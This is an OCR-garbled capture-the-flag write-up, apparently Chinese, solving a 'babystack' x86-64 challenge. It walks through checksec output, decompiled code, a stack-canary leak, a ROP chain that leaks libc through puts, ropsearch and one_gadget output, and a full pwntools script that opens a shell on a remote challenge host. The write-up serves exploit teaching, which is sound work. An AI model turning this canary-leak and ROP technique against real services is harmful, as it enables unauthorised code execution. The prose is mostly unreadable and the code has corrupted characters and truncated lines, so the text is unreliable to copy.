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1. HEEEXFRHEER:

tucker@ubuntu:~/xman/pwn/pwnl$ file babystack

babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/1, f
tucker@ubuntu:~/xman/pwn/pwnl$ checksec babystack

[*] '/home/tucker/xman/pwn/pwnl/babystack"’

Arch: amd64-64-1little
RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
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__inte4 _ fastcall main(__int64 al, char **a2, char **a3)
{

int v3; // eax

char s; // [rsp+16h] [rbp-96h]

unsigned _ int64 v6; // [rsp+98h] [rbp-8h]

v6 = _ readfsqword(0x28u);
setvbuf(stdin, eLL, 2, OLL);
setvbuf(stdout, OLL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
memset(&s, 0, Ox80uLL);

while (1)
{
puts_info();
v3 = j_read();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return OLL;
case 1:
read(0, &s, 0x100ulLL);
break;
default:
j_puts("invalid choice");
break;

}
j_puts((const char *)&unk_400AE7);

}
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3. B’ITT\EER, BF AT Bikcanaryitt#, canaryf)s—ANFZFA\X00, FHEATE LEAIWEpayload, f#
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def get_canary(payload):
sh.recvuntil('>> ")

sh.sendline('1")

sh.sendline(payload)

sh.recvuntil('>> ")

sh.sendline('2")

info = sh.recv()

# print info[0x88]

# print hex(u64('\x00' + info[0x89:0x90]))
canary = u64('\x00' + info[0x89:0x90])
return canary

payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))
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def get_puts_addr(payload):
sh.recvuntil('>> ")
sh.sendline('1")
sh.sendline(payload)
sh.recvuntil('>> ")
sh.sendline('3")
info = sh.recv().ljust(8, '\x00')
return u64(info)

# canary the first byte is \x00, print will be interrupt

payload = 'a' * ©x88 + p64(canary) + p64(61l) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_
puts_addr = get_puts_addr(payload)

print('puts_addr:' + str(hex(puts_addr)))

libc_base = puts_addr - puts_offset

5. REEANIHM T Egadgets T, X BBRANGIR L %
F—F, BAITLAEH: ropsearch

gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000

Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret

gdb-peda$ ropsearch "pop rsi" 0x400000 0x401000

Searching for ROP gadget: 'pop rsi' in range: 0x400000 - 0x401000
0x00400a91 : (b'5e415fc3') pop rsi; pop ri5; ret

gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000

Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret

gdb-peda$
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LSHOTFIANN, SBEMNERLGRANFFSR: rdi, rsi, rdx, rcx, r8, ro,

Z I, AT LS i payload:



def get_bash(payload):
sh.recvuntil('>> ")
sh.sendline('1")
sh.sendline(payload)
sh.recvuntil('>> ")
sh.sendline('3")

system_addr = libc_base + system offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset

payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(

get_bash(payload)

R, BRATATLARI B S, M Fropper one_gadget

tucker@ubuntu:~/xman/pwn/pwnl$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:

rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:

[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)

constraints:
[rsp+0x70] == NULL

X B IAI A E — 4~ gadget:

one_gadgets = 0x45216 + libc_base

log.success('one_gadgets:' + hex(one_gadgets))

# payload = 'a' * Ox88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p6
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)

get_bash(payload)

gZEpriR, SEBRRFEAMAAEAN:

# babystack.py
from pwn import *
context.log level = 'debug'

a = ELF('./babystack")
sh = remote('111.198.29.45"', '59252"')



elf = ELF('./1ibc-2.23.s0")

pop_rdi_ret = ROP(elf).rdi[0]

write_offset = elf.symbols['write']
system_offset = elf.symbols['system']
binsh_offset = elf.search('/bin/sh').next()
exit_offset

elf.symbols[ 'exit"']
puts_offset = elf.symbols['puts']

write plt = a.plt['write']
0XxX004006A0
write_got = a.got['write']

# write_plt

puts_plt = a.plt['puts']
puts_got = a.got['puts']

main_addr = 0x0400908

pop_rdi_ret_addr = 0x00400a93
pop_rsi_rl5 ret = 0x00400291
pop_rdi_ret = 0x00400a93

def get_canary(payload):
sh.recvuntil('>> ")

sh.sendline('1")

sh.sendline(payload)

sh.recvuntil('>> ')

sh.sendline('2")

info = sh.recv()

# print info[0x88]

# print hex(u64('\x00' + info[0Ox89:0x90]))
canary = u64('\x00' + info[0x89:0x90])
return canary

def get_puts_addr(payload):

sh.recvuntil('>> ")
sh.sendline('1")
sh.sendline(payload)
sh.recvuntil('>> ")
sh.sendline('3")

info = sh.recv().ljust(8, '\x00')
return ué64(info)

def get_bash(payload):
sh.recvuntil('>> ")
sh.sendline('1")
sh.sendline(payload)
sh.recvuntil('>> ")
sh.sendline('3")

payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))

# canary the first byte is \x00, print will be interrupt

payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_
puts_addr = get_puts_addr(payload)

print('puts_addr:' + str(hex(puts_addr)))



libc_base = puts_addr - puts_offset

# libc_base = write_addr - puts_offset

system_addr = libc_base + system offset

binsh_addr = libc_base + binsh_offset

exit_addr = libc_base + exit_offset

print('write_offset:' + str(hex(write_offset)))
print('libc_base: ' + str(hex(libc_base)))
log.success('libc_base:' + hex(libc_base))

one_gadgets = 0x45216 + libc_base

log.success('one_gadgets:' + hex(one_gadgets))

# payload = 'a' * ©x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p6
payload = 'a' * ©x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)
get_bash(payload)

sh.interactive()

M.

M EE P REB|TRS, FEA:

ropsearch "pop rdi" 0x400000 0x401000 F3R7EZS 5E i bt 25 1] 7 8 & gadget

one_gadget ./libc.*.so  Fk#¥ R K HIgadget
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BEAEH struct.pack A struct.unpack
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